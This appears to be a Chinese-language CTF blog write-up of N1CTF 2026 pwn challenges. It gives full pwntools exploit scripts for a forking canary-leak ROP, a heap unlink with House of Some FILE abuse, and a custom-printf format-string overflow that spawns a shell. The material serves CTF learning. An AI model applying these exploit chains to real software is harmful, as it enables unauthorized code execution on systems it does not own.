N1CTF-2026-(1/2)

前言

听学弟说题目质量很高,抽时间做了几题

Onlyfgets

ret2dl没什么好说的,懒得打了,不过得注意一下有个伪造的结构体不能太靠近下面,不然sub rsp的时候会导致栈不可写了

ez_canary

最多允许fork5次,相当于给了好几次栈溢出的机会,所以分别泄露libc-->>stack-->>cancary,之后打ROP就好

from pwn import *
from pwn_std import *

context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./server")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.31-0ubuntu9.18_amd64/libc.so.6")

bss=0x000000000404100+0x400
p=getProcess("123",13,'./client')
sla("unctions?",str(2))
pl=p64(0x4040b8+0x20)+p64(0x0000000000401549)
sa(" canary!",pl)
ru("[Server]: ")
lb=uu64(rc(6))-libc.sym["accept"]
print("libc_base=",hex(lb))
p.close()

p=getProcess("123",13,'./client')
sla("unctions?",str(2))
pl=p64(lb+libc.sym["environ"]+0x20)+p64(0x0000000000401549)
sa(" canary!",pl)
ru("[Server]: ")
stack=uu64(rc(6))
print("stack=",hex(stack))
p.close()

# pause()
p=getProcess("123",13,'./client')
sla("unctions?",str(2))
pl=p64(stack-0x110+0x20+1)+p64(0x0000000000401549)
sa(" canary!",pl)
ru("[Server]: ")
canary=uu64(rc(7))<<8
print("canary=",hex(canary))
p.close()

pause()
p=getProcess("123",13,'./client')
sla("unctions?",str(1))
pl=b'\x00'*56+p64(canary)+p64(0)
rdi=lb+0x0000000000023b6a
rsi=lb+0x000000000002601f
rdx_r12=lb+0x0000000000119431
pl+=p64(rdi)+p64(lb+next(libc.search("/bin/sh")))+p64(rsi)+p64(0)+p64(rdx_r12)+p64(0)*2+p64(lb+libc.sym["execve"])
sla(" canary!",pl)

ita()

failed

malloc没有检查返回值是多少,所以相当于有一个libc/堆上写一个\x00的机会,先泄露堆地址,libc地址之后打unlink就好

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome

p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6")

def reg(name):
    sla("3. Exit.",str(1))
    sla("name",str(name).encode())
    sla("Password","123456")

def login(name):
    sla("3. Exit.",str(2))
    sla("name",str(name).encode())
    sla("Password","123456")

def add(index,size,content):
    reg(index)
    login(index)
    sla("> ",str(1))
    sla("Size",str(size))
    sla("Content",content)
    sla("5. Logout.",str(5))


def edit(index,content):
    login(index)
    sla("> ",str(2))
    sla("Content",content)
    sla("5. Logout.",str(5))

def show(index):
    login(index)
    sla("> ",str(3))

def dele(index):
    login(index)
    sla("> ",str(4))
    sla("5. Logout.",str(5))


add(0,0x410+0x50,b'a')
add(1,0x10,b'a')
dele(0)
add(2,0x3c0-0x10+0x20,b'')
show(2)
rc(9)
lb=uu64(rc(6))-(0x706e86c03b0a-0x706e86a00000)
print("libc_base:",hex(lb))
sla("5. Logout.",str(5))

stdin=lb+libc.sym["_IO_2_1_stdin_"]
stdout=lb+libc.sym["_IO_2_1_stdout_"]

print("stdin:",hex(stdin))


add(3,-1,b'')
dele(3)
add(4,-1,b'')
show(4)
rc(9)
hb=uu64(rc(6))<<12
print("heap_base:",hex(hb))
sla("5. Logout.",str(5))
####准备利用一次任意地址写\x00的操作来实现堆块的向前合并来实现堆重叠
####之后就是正常的House of some

####现在堆块正好被全部用完

for i in range(5,11):
    add(i,0x20-1,b'a')

for i in range(20,26):
    add(i,0x20-1,b'a')
add(11,0x310+0x310+0x10+0x4f0+0x10,b'a')
add(12,0x30,b'a')
add(17,0x317,b'a')
for i in range(5,11):
    dele(i)

for i in range(20,26):
    dele(i)

dele(11)
pl=p64(0)+p64(0x631)+p64(hb+0x1050)*2
pl+=b'\x00'*0x2f0+p64(0x630)[:7]
add(13,0x317,pl)

pl=p64(hb+0x1050)*2
pl+=b'\x00'*0x300+p64(0x630)[:7]
add(14,0x317,pl)

add(15,0x4f0-0x10-1,b'a')
add(16,hb+0x1688,b'')
dele(15)

pl=b'\x00'*(0x300)+p64(0x640)+p64(0x321)+p64(0)*2
add(18,0x320+0x220,pl)

dele(17)
dele(14)

pl=b'\x00'*0x300+p64(0x640)+p64(0x321)+p64(((hb+0x1010)>>12)^(lb+libc.sym["_IO_list_all"]))+p64(0)
edit(18,pl)
libc_base=lb
libc.address = libc_base
environ=libc.symbols['__environ']
fake_file_start=hb+0x230+0xe0
hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)
add(19,0x317,payload)

payload=p64(hb+0x1370)
add(30,0x317,payload)

# gdbbug(cmd)
ru(b'==LOG MENU==\n')
sla("> ",str(3))
stack=hos.bomb_raw(p)
rdi=lb+0x000000000010f78b
system=libc.sym["system"]
binsh=next(libc.search(b"/bin/sh\x00"))
pl=p64(rdi+1)+p64(rdi)+p64(binsh)+p64(system)
sd(pl)
ita()

f0rmat_o2_img

自定义实现了一个printf,让ai逆了一下,大致流程就是下面这个样子

逐字符扫描 fmt:
│
├─ 非 '%' 字符 → 直接 write(1, ch, 1)
│
└─ '%' 字符 → 解析后续内容
       │
       ├─ 下一字符是数字 → 解析数值 N(最多10位,上限255)
       │      │
       │      ├─ 数值后跟 '$' → 位置参数模式:%N$<type>
       │      │    按需从 va_list 中预取参数填充 v53[1..N]
       │      │
       │      └─ 数值后无 '$' → 宽度模式:%N<type>
       │           N 存入 n255_3 作为字段宽度
       │           按需预取参数填充 v53
       │
       └─ 下一字符不是数字 → 无宽度,顺序参数

case 偏移

原字符

功能

对应处理

0x00

'd'

有符号十进制,右对齐

int_to_dec_str(int32) + 左填充空格

0x08

'l'

有符号十进制,左对齐

int_to_dec_str(int64) + 右填充空格

0x0C

'p'

十六进制指针,右对齐

"0x" + int_to_hex_str + 左填充空格

0x0F

's'

字符串,左对齐

直接写出字符串(不 free

0x13

'w'

有符号十进制,右对齐

'd',但用 int32 cast

0x14

'x'

十六进制,右对齐

int_to_hex_str + 左填充空格

其他

未知类型

打印 [DEBUG]: Unknown arg type.exit(-1)

结合这个libc中的地址构造一次栈返回,分别先控制rbp,rsp来返回到main就好

from pwn import *
from pwn_std import *

p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6")

ru("1 2 256 0x")
stack=int(rc(12),16)
print("stack=",hex(stack))
payload = b'%p.'*263                      # 263个 %p. 用于越界读,由于越界读的时候会先将这个地址拷贝到栈上面,所以会出错,我们后续要人为的给他将刚刚寄存器赋值好
payload = payload.ljust(8*(257-6), b'A')  # 填充到固定长度
payload += p64(stack+0x10c8-8)*6          # 覆盖 reg_save_area 附近的6个槽
payload += p16(0xe572)                    # 部分覆盖返回地址(2字节)
# payload='%p'*263
gdbbug(cmd)

sa("> ",payload)
ru(b'.')
ru(b'.')

lb=int(rc(14),16)-(0x7763F8D1BA91-0x7763f8c00000)
print("libc_base=",hex(lb))

rdi=lb+0x000000000010f78b
system=lb+libc.sym['system']
binsh=lb+next(libc.search(b'/bin/sh'))

pl=p64(rdi)+p64(binsh)+p64(system)

payload = b'%p.'*263                      # 263个 %p. 用于越界读,由于越界读的时候会先将这个地址拷贝到栈上面,所以会出错,我们后续要人为的给他将刚刚寄存器赋值好
payload = payload.ljust(8*(257-6), b'A')  # 填充到固定长度
payload += p64(stack+0x10c8-8)*6          # 覆盖 reg_save_area 附近的6个槽
payload += p64(lb+0xef52b)                    # 部分覆盖返回地址(2字节)

sla("> ",payload)
ita()


N1CTF-2026-(1/2)
https://a1b2rt.cn//archives/n1ctf-2026--1-2
作者
A1b2rt
发布于
2026年03月03日
许可协议